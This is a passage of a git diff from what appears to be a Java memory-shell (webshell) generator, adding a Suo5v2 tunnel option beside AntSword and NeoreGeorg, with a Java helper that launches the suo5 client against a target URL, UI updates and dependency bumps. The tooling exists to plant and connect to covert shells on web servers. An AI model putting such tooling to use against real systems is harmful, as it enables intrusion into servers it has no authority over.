public static final String imageName = "jboss/wildfly:10.0.0.Final"; + public static final String imageName = "jboss/wildfly:9.0.1.Final"; @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") diff --git a/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java b/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java index db63787e..bf9de578 100644 --- a/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java +++ b/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java @@ -1,7 +1,5 @@ package com.reajason.javaweb.suo5; -import org.apache.commons.lang3.StringUtils; - import java.io.BufferedReader; import java.io.InputStreamReader; import java.nio.file.Path; @@ -15,6 +13,7 @@ import java.util.concurrent.*; public class Suo5Manager { public static final String suo5Command; + public static final String suo5v2Command; static { String os = System.getProperty("os.name").toLowerCase(); @@ -29,17 +28,19 @@ public class Suo5Manager { pwd = pwd.getParent(); } suo5Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5-" + osType + "-" + osArch)).toAbsolutePath().toString(); + suo5v2Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5v2-" + osType + "-" + osArch)).toAbsolutePath().toString(); } public static void main(String[] args) { System.out.println(suo5Command); - boolean test = test("http://localhost:8082/app/test", "test"); + boolean test = test("", "http://localhost:8082/app/test", "test"); System.out.println(test); } - public static boolean test(String targetUrl, String ua) { + public static boolean test(String shellTool, String targetUrl, String ua) { + String command = shellTool.endsWith("v2") ? suo5v2Command : suo5Command; ProcessBuilder processBuilder = new ProcessBuilder( - suo5Command, "-debug", "-t", targetUrl, "--timeout", "5", "-ua", ua, "-H", "Referer: " + targetUrl + command, "-debug", "-t", targetUrl, "--timeout", "8", "-ua", ua, "-H", "Referer: " + targetUrl ); processBuilder.redirectErrorStream(true); ExecutorService executor = Executors.newSingleThreadExecutor(); diff --git a/web/app/components/memshell/main-config-card.tsx b/web/app/components/memshell/main-config-card.tsx index a62b1763..977a0ee7 100644 --- a/web/app/components/memshell/main-config-card.tsx +++ b/web/app/components/memshell/main-config-card.tsx @@ -53,6 +53,7 @@ const shellToolIcons: Record = { [ShellToolType.Command]: , [ShellToolType.AntSword]: , [ShellToolType.Suo5]: , + [ShellToolType.Suo5v2]: , [ShellToolType.NeoreGeorg]: , [ShellToolType.Custom]: , }; @@ -467,7 +468,8 @@ export default function MainConfigCard({ - + + diff --git a/web/app/components/memshell/results/basic-info.tsx b/web/app/components/memshell/results/basic-info.tsx index 2e61a2fe..09661c2d 100644 --- a/web/app/components/memshell/results/basic-info.tsx +++ b/web/app/components/memshell/results/basic-info.tsx @@ -133,7 +133,8 @@ export function BasicInfo({ } /> )} - {generateResult?.shellConfig.shellTool === ShellToolType.Suo5 && ( + {(generateResult?.shellConfig.shellTool === ShellToolType.Suo5 || + generateResult?.shellConfig.shellTool === ShellToolType.Suo5v2) && ( ; shellTypes: Array; + tabValue: string; }>) { const { t } = useTranslation(["memshell", "common"]); return ( - +
diff --git a/web/app/types/memshell.ts b/web/app/types/memshell.ts index 67f93d04..eeea55b9 100644 --- a/web/app/types/memshell.ts +++ b/web/app/types/memshell.ts @@ -132,6 +132,7 @@ export enum ShellToolType { Command = "Command", AntSword = "AntSword", Suo5 = "Suo5", + Suo5v2 = "Suo5v2", NeoreGeorg = "NeoreGeorg", Custom = "Custom", } diff --git a/web/bun.lock b/web/bun.lock index 433e1447..da51e722 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -489,7 +489,7 @@ "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@types/node": ["@types/node@24.10.1", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GNWcUTRBgIRJD5zj+Tq0fKOJ5XZajIiBroOF0yvj2bSU1WvNdYS/dn9UxwsujGW4JX06dnHyjV2y9rRaybH0iQ=="], + "@types/node": ["@types/node@24.10.2", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-WOhQTZ4G8xZ1tjJTvKOpyEVSGgOTvJAfDK3FNFgELyaTpzhdgHVHeqW8V+UJvzF5BT+/B54T/1S2K6gd9c7bbA=="], "@types/parse-json": ["@types/parse-json@4.0.2", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="], @@ -773,7 +773,7 @@ "human-signals": ["human-signals@2.1.0", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="], - "i18next": ["i18next@25.7.1", "", { "dependencies": { "@babel/runtime": "^7.28.4" }, "peerDependencies": { "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-XbTnkh1yCZWSAZGnA9xcQfHcYNgZs2cNxm+c6v1Ma9UAUGCeJPplRe1ILia6xnDvXBjk0uXU+Z8FYWhA19SKFw=="], + "i18next": ["i18next@25.7.2", "", { "dependencies": { "@babel/runtime": "^7.28.4" }, "peerDependencies": { "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-58b4kmLpLv1buWUEwegMDUqZVR5J+rT+WTRFaBGL7lxDuJQQ0NrJFrq+eT2N94aYVR1k1Sr13QITNOL88tZCuw=="], "image-size": ["image-size@2.0.2", "", { "bin": { "image-size": "bin/image-size.js" } }, "sha512-IRqXKlaXwgSMAMtpNzZa1ZAe8m+Sa1770Dhk8VkSsP9LS+iHD62Zd8FQKs8fbPiagBE7BzoFX23cxFnwshpV6w=="], @@ -1281,7 +1281,7 @@ "vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="], - "vite": ["vite@7.2.6", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-tI2l/nFHC5rLh7+5+o7QjKjSR04ivXDF4jcgV0f/bTQ+OJiITy5S6gaynVsEM+7RqzufMnVbIon6Sr5x1SDYaQ=="], + "vite": ["vite@7.2.7", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-ITcnkFeR3+fI8P1wMgItjGrR10170d8auB4EpMLPqmx6uxElH3a/hHGQabSHKdqd4FXWO1nFIp9rRn7JQ34ACQ=="], "vite-node": ["vite-node@3.2.4", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="], @@ -1381,6 +1381,8 @@ "vite-node/pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], + "vite-node/vite": ["vite@7.2.6", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-tI2l/nFHC5rLh7+5+o7QjKjSR04ivXDF4jcgV0f/bTQ+OJiITy5S6gaynVsEM+7RqzufMnVbIon6Sr5x1SDYaQ=="], + "ansi-align/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], "ansi-align/string-width/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], diff --git a/web/content/docs/memshell/meta.json b/web/content/docs/memshell/meta.json index 5699cc52..57fc723e 100644 --- a/web/content/docs/memshell/meta.json +++ b/web/content/docs/memshell/meta.json @@ -1,3 +1,3 @@ { - "title": "常见 Java 内存马" -} \ No newline at end of file + "title": "常见 Java 内存马" +} diff --git a/web/package.json b/web/package.json index 8b3fa097..e7923b97 100644 --- a/web/package.json +++ b/web/package.json @@ -24,7 +24,7 @@ "fumadocs-core": "16.2.3", "fumadocs-mdx": "14.1.0", "fumadocs-ui": "16.2.3", - "i18next": "^25.7.1", + "i18next": "^25.7.2", "isbot": "^5.1.32", "lucide-react": "^0.556.0", "motion": "^12.23.25", @@ -45,7 +45,7 @@ "@react-router/dev": "^7.10.1", "@tailwindcss/vite": "^4.1.17", "@types/mdx": "^2.0.13", - "@types/node": "^24.10.1", + "@types/node": "^24.10.2", "@types/react": "^19.2.7", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", @@ -55,7 +55,7 @@ "serve": "^14.2.5", "tailwindcss": "^4.1.17", "typescript": "^5.9.3", - "vite": "^7.2.6", + "vite": "^7.2.7", "vite-plugin-devtools-json": "^1.0.0", "vite-tsconfig-paths": "^5.1.4" } diff --git a/web/vite.config.ts b/web/vite.config.ts index c82f84ad..cf2a2190 100644 --- a/web/vite.config.ts +++ b/web/vite.config.ts @@ -8,7 +8,7 @@ import tsconfigPaths from "vite-tsconfig-paths"; import * as MdxConfig from "./source.config"; export default defineConfig({ - base: env.NODE_ENV === "development" ? '/' : `${env.VITE_APP_API_URL}/`, + base: env.NODE_ENV === "development" ? "/" : `${env.VITE_APP_API_URL}/`, plugins: [ mdx(MdxConfig), tailwindcss(), @@ -19,11 +19,11 @@ export default defineConfig({ }), ], resolve: - process.env.NODE_ENV === 'development' + process.env.NODE_ENV === "development" ? {} : { - alias: { - 'react-dom/server': 'react-dom/server.node', + alias: { + "react-dom/server": "react-dom/server.node", + }, }, - }, });